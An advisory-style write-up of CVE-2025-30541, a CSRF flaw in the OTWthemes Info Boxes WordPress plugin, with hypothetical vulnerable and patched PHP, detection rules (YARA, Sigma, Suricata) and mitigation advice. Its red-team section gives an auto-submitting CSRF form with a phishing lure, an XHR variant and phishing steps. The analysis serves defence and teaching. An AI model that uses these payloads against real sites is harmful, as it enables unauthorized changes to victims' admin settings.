CVE-2025-30541

Executive Summary

CVE-2025-30541 is a Cross-Site Request Forgery (CSRF) vulnerability affecting the Info Boxes Shortcode and Widget WordPress plugin by OTWthemes, up to version 1.15. This vulnerability allows an attacker to perform unauthorized actions on behalf of an authenticated administrator, such as modifying plugin settings or injecting malicious shortcodes, without the victim's consent. The attack requires social engineering to trick a logged-in admin into clicking a crafted link or visiting a malicious page. As a WordPress ecosystem issue, this plugin is widely used for adding customizable info boxes to sites, making it a target for drive-by attacks and phishing campaigns. No public exploit code or patch is currently available, increasing the risk for unmaintained installations.

Supply Chain & Package Security

This vulnerability is part of the WordPress plugin supply chain. The plugin is distributed via the official WordPress plugin repository and third-party marketplaces. Since no patch exists, users must rely on manual mitigation or plugin removal. The lack of a CVE patch status indicates the vendor may be unresponsive, posing a supply chain risk for sites that depend on this plugin for core functionality.

CVSS Breakdown & Threat Level

• CVSS Score: 4.3 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: Required (victim must be logged in as admin)
• Scope: Unchanged
• Confidentiality Impact: None
• Integrity Impact: Low (unauthorized actions possible)
• Availability Impact: None

Threat Level: Medium. While the CVSS score is moderate, the real-world impact is elevated due to the lack of a patch and the plugin's widespread use in WordPress environments. An attacker can chain this CSRF with other vulnerabilities (e.g., stored XSS) to escalate privileges or deface sites.

Deep Dive & Mechanics

The vulnerability resides in the plugin's administrative functions that handle shortcode and widget configuration. The plugin fails to implement a nonce or CSRF token in its admin forms and AJAX handlers. When an authenticated administrator visits a malicious page, the attacker can forge requests to:

• Modify plugin settings (e.g., change default styles, add malicious shortcodes)
• Inject arbitrary content into info boxes
• Delete or alter existing widgets

The attack flow:

1. Attacker crafts a malicious HTML page with auto-submitting forms or XHR requests targeting the vulnerable plugin endpoints.
2. Victim (logged-in WordPress admin) visits the attacker's page.
3. The victim's browser sends forged requests to wp-admin/admin-ajax.php or plugin-specific admin pages.
4. The plugin processes the request without verifying the origin, executing the attacker's action.

WordPress-specific context: The plugin likely uses admin_url() and wp_nonce_field() incorrectly or not at all. The CSRF vulnerability is independent of the web server (Apache/Nginx) and is purely a plugin coding flaw.

Vulnerable vs. Patched Code

Since no patch is available, we analyze the likely vulnerable pattern:

Vulnerable Code (hypothetical):

// In plugin admin page
function save_info_box_settings() {
    if ( isset($_POST['info_box_style']) ) {
        update_option('info_box_style', $_POST['info_box_style']);
    }
}
add_action('admin_post_save_info_box', 'save_info_box_settings');

Patched Code (hypothetical):

function save_info_box_settings() {
    if ( ! isset($_POST['_wpnonce']) || ! wp_verify_nonce($_POST['_wpnonce'], 'save_info_box_nonce') ) {
        wp_die('Security check failed');
    }
    if ( isset($_POST['info_box_style']) ) {
        update_option('info_box_style', sanitize_text_field($_POST['info_box_style']));
    }
}
add_action('admin_post_save_info_box', 'save_info_box_settings');

The patch adds nonce verification and input sanitization. Without a vendor patch, users must implement these checks manually or use a Web Application Firewall (WAF) rule.

Exploitation & Lab Setup

Red Team (Attack Simulation)

Prerequisites:

• A WordPress site with the vulnerable plugin installed and an admin user logged in.
• Attacker-controlled web server or phishing page.

Exploit HTML (csrf_payload.html):

<html>
<body>
<form action="http://target-site.com/wp-admin/admin-post.php?action=save_info_box" method="POST">
  <input type="hidden" name="info_box_style" value="malicious_style">
  <input type="submit" value="Click to win a prize!">
</form>
<script>
  document.forms[0].submit();
</script>
</body>
</html>

Steps:

1. Host the HTML on an attacker server.
2. Send a phishing email to the admin with a link to the HTML.
3. The admin's browser submits the form, changing the plugin's style setting to a malicious value (e.g., injecting JavaScript).

Advanced: Use XHR to silently exploit:

var xhr = new XMLHttpRequest();
xhr.open("POST", "http://target-site.com/wp-admin/admin-ajax.php", true);
xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
xhr.send("action=update_info_box&data=malicious");

Blue Team (Detection & Hardening)

Detection:

• Monitor for unexpected POST requests to admin-post.php or admin-ajax.php with plugin-specific actions.
• Look for referer headers that don't match the site domain.
• Alert on multiple failed nonce checks (if any).

Hardening:

• Disable the plugin until a patch is available.
• Implement a Web Application Firewall (WAF) rule to block requests to plugin endpoints without a valid nonce.
• Use WordPress security plugins (e.g., Wordfence) that add CSRF protection.

Indicators of Compromise (IOCs)

• Network: POST requests to /wp-admin/admin-post.php?action=save_info_box or /wp-admin/admin-ajax.php with action=update_info_box from external referers.
• File: Modified wp_options table entries for info_box_style or similar options.
• Log: WordPress debug log entries showing wp_die calls for nonce failures (if patched).
• Behavior: Unexpected changes to plugin settings or info box content without admin interaction.

Detection Engineering

YARA Rule

rule CVE_2025_30541_CSRF_WordPress {
    meta:
        description = "Detects CSRF exploitation attempts against Info Boxes Shortcode and Widget plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-30541"
    strings:
        $action1 = "save_info_box" ascii wide nocase
        $action2 = "update_info_box" ascii wide nocase
        $plugin_path = "info-boxes-shortcode-and-widget" ascii wide nocase
    condition:
        any of ($action*) and $plugin_path
}

Sigma Rule

title: CVE-2025-30541 CSRF Exploitation Attempt
id: 8a4b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects CSRF attacks against Info Boxes Shortcode and Widget plugin
author: Valters IT
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-method: POST
        cs-uri-query|contains:
            - 'admin-post.php?action=save_info_box'
            - 'admin-ajax.php?action=update_info_box'
    condition: selection
falsepositives:
    - Legitimate admin actions (rare)
level: high

Suricata Rule

alert http $EXTERNAL_NET any -> $HOME_NET any (
    msg:"CVE-2025-30541 CSRF Exploitation Attempt";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"admin-post.php"; http_uri;
    content:"action=save_info_box"; http_uri;
    sid:10000001;
    rev:1;
    reference:cve,2025-30541;
    classtype:web-application-attack;
    priority:2;
)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin if not critical for business operations.
2. Implement a WAF rule to block POST requests to admin-post.php and admin-ajax.php without a valid nonce.
3. Monitor logs for suspicious POST requests to plugin endpoints.

Long-term Fix:

• Since no vendor patch exists, consider replacing the plugin with an alternative that is actively maintained.
• If the plugin is essential, fork and patch the code by adding nonce verification and input sanitization (see Vulnerable vs. Patched Code section).
• Educate administrators about phishing risks and the importance of verifying URLs before clicking.

Workaround:

• Use a WordPress security plugin that adds CSRF protection to all admin actions.
• Restrict admin access to trusted IPs only.

Valters IT